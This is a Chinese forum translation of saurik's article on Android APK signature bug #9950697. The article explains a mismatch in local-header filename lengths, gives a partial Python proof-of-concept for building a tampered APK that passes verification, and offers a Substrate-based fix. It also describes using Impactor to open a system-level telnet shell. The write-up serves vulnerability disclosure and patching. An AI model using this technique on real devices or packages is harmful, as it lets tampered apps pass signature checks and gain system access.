另一个签名漏洞 #9950697
译文:Yet Another Android Master Key Bug by Jay Freeman (saurik)
http://www.saurik.com/id/19
拜读了 前两个签名bug HendySo 的翻译,收获很多,论坛里似乎还没有这篇文章的翻译,英语水平有限(尚在提高中),不想看e文的 就先将就着看一下吧~ 呵呵
今年的早些时候,Bluebox安全 宣布他们发现了android平台上对app包签名的漏洞,该漏洞可被第三方利用篡改app包。 当Jeff Forristal (CTO of Bluebox 在Black Hat 2013 上公开次此漏洞细节的时候,由于引起关注,这个bug很快被发现。
该bug在2月份提交给google,并被定义为bug#8219321.Bluebox认为有责任公布这个bug,所以他们给了google几个月的时间用于让他和他们的硬件合作者们加固他们的设备,但是几个月后,仅有少许的硬件被加固。
同一时间,当大多数的关注在这个bug上的时候,一个补丁被悄然提交到Android Open Source Project。该补丁用于修补bug #9695860。该bug拥有相似的特征,一个名为安全小分队的团队记录了该漏洞的详细特征。
在先前的文章中,我展示了how bug #8219321 works ,以及怎么在system权限下运行自己代码(该技术需要app包拥有特定的特征)。在第二篇文章中,我展示了bug #9695860怎样相比前者拥有更大的杀伤力。
Now。 昨晚 AOSP 发布的Android4.4 源码包含了另一个bug #9950697的补丁,同样是android 应用签名相关。 这个bug有点弱,但也足够我所描述的漏洞利用。
这篇文章我讲详细讲述这签名第三个bug,并展示怎样利用它,提交了一个python版本的实现,以及怎样修复这个bug。(and a new version of Impactor that adds support for this signature bug. Finally, I show how Substrate can be used to patch this bug, and I release a new version of Backport with the fix. 。。。。这里有几句翻译不出来)。
(I was able to get this article out so quickly as I had actually found this bug back in June; I sadly did not think to post a hash to Twitter until July, however, a week after this patch was committed internally at Google. Regardless, if you run the hash command fromthis post from today you get this hash I posted in July.)
错误的假设
这个exploit 所基于的bug与我上一篇所分析的bug #9695860非常相似。具体的来说与安全小分队所bug采用的技术十分的类似,与之前我在段"Extreme Offset".所描述的有所改进。
前文中我已经详细的描述过了zip文件是怎么样组织在一起的,以及android签名代码是怎样工作的(以及所存在的问题),我不想在这里重复,感兴趣的详情可以看我的文章:on bug #8219321 and my article on bug #9695860 。
So,我们回过头来看C++代码中在本地文件头中寻找数据块所进行的计算,我们看到它依赖于四个变量:header的开始的偏移量、header的长度、extra data域的(which bug #9695860 exploited),和文件名的长度。
off64_t dataOffset = localHdrOffset + kLFHLen
+ get2LE(lfhBuf + kLFHNameLen)
+ get2LE(lfhBuf + kLFHExtraLen);
By process of elimination, 本篇只关注于文件名长度本地的,本地的文件名十分有趣。因为在android使用的unzip没有使用全名或者索引(或者是其他形式的哈希)代之而存放的是文件头指针。
我们看一下java中代码的实现,有趣的是当从文件头中读取extra data长度的时候,文件名的长度已经存放在ZipEntry相应域中了。
// We don't know the entry data's start position.
// All we have is the position of the entry's local
// header. At position 28 we find the length of the
// extra data. In some cases this length differs
// from the one coming in the central header.
RAFStream rafstrm
= new RAFStream(raf, entry.mLocalHeaderRelOffset + 28);
DataInputStream is = new DataInputStream(rafstrm);
int localExtraLenOrWhatever
= Short.reverseBytes(is.readShort());
is.close();
// Skip the name and this "extra" data or whatever it is: rafstrm.skip(entry.nameLength + localExtraLenOrWhatever);
此bug令人感到搞笑的是基于此点的大量评论指出extra data的长度可能与
central directory 所存储的不同。可悲的时,这没有给其留下深刻印象而写下的代码用于跳过name域(可被用来跳过任何区域P)
此漏洞的利用方式是我们可以设置本地头文件中name长度的大小用于跳过真实的文件名(定义在 central directory中的)以及java中所看到的data。我们把我们想要在c++中使用的data放在之后,会通过java的验证。
C++ Header 64k Name Data
+--------> +----------------------> +---------->
length=64k classes.dex dex\035\A... dex\035\B...
+--------> +---------> +---------->
Java Header 11 Name Data
Proof of Concept
鉴于已经有好多人详细描述了这个漏洞中本地头文件的结构((Android Police had said in an article that bug #9695860 "is more precise and relies on a fairly complete knowledge about the structure of the files")),我这里提供一个python的实现。
利用该漏洞的关键是zip文件格式的灵活性,可以兼容多种库的构建出的zip文件爱你。使用python 的zipfile 库(zlib‘s minizip)每次你添加一个文件的本地文件头和数据块当你完成的时候会自动写入central directory。
当写这些数据到流的时候,流中的偏移并不改变,此外从流中读取的位置,接下来可能在central directory中用到。这意味着当你写一个额外的数据到文件 或者移动文件指针,zip库会执行这些改变,并不会有所抱怨。
fp = zout.fp
for name in zin.namelist():
old = zin.read(name)
if name != replace:
zout.writestr(name, old, zipfile.ZIP_DEFLATED) else:
assert len(new) <= len(old)
# write header, old data, and record offset zout.writestr(name, old, zipfile.ZIP_STORED) offset = fp.tell()
# return to name length, set to skip old data fp.seek(-len(old) -len(name) -4, 1) fp.write(struct.pack('<H', len(name) + len(old)))
# after old data, write new data \0 padded fp.seek(offset)
fp.write(new)
fp.write('\0' * (len(old) - len(new)))
zout.close()
zin.close()
Fixing the Bug
同我从前的文章所说,我认为我有责任因我描述和提供的漏洞利用方法为人们提供应对的方法。我将再次使用Substrate (我没有额外的需要解释的了)。
显然,理想的情况是早些公布这些漏洞。但坦率地说:,在7月之前google早已知道这个bug。看起来是优先级的问题没有解决,尽早公布出来对他们也没有好处。((As many Android devices are also locked down from their owners, I thereby feel morally obligated on the other side to hold bugs until they are needed--or, of course, burned.)
final Field raf = ZipFile.class.
getDeclaredField("mRaf");
raf.setAccessible(true);
final Field local = ZipEntry.class.
getDeclaredField("mLocalHeaderRelOffset"); local.setAccessible(true);
final Field length = ZipEntry.class.
getDeclaredField("nameLen"); length.setAccessible(true);
raf.seek(26);
int length = Short.reverseBytes(
raf.readShort()) & 0xffff;
if (length != length.getInt(entry))
throw new ZipException();
}
return invoke(thiz, args);
}
}
);
修复这个问题和我之前发表的修复bug #9695860,所以发表的修复代码也是十分的相似。今天加了几行新代码用来检查从Local Header中获取的文件名长度与中心目录的匹配。
int length = Short.reverseBytes(raf.readShort()) & 0xffff; if (length != length.getInt(entry))
throw new ZipException();
完整的修复代码可从这里下载git://git.saurik.com/backport.git(or view its repository online using the Gitweb instance I use. (Here is a direct link to Hook.java.) 仅想通过安装一个apk来解决问题的人,可以从Cydia Gallery (inside of Substrate)获取。
Updated Impactor
如果用户想要一个端到端的实现,我发不了一个Cydia Impactor 的更新,它会自动检测这个bug是否可用,如果可用自动获得system权限(它会首先检测这个bug,因为相对于另外两个签名bug这个更可能存在)。
使用Impactor 获取system权限,运行Impactor ,选择点击"start telnetd as system on port 2222”.如果你telnet登录到了你的系统,运行“id”,你会发现你是在system权限下了。这时你或许可以想着怎么获取root权限了。
能看到这三个bug,被逐渐的修复是十分有趣的。我主要在iOS上工作,iOS上的bug修复的十分迅速。相比,尽管google 2月份就收到BlueBox小心翼翼的披漏的第一个bug 但直到7月份才看到修复(在4.3系统中),甚至有更多设备到现在都换没有修复,第二个错误是更糟糕的故事,希望第三个更新会快一些。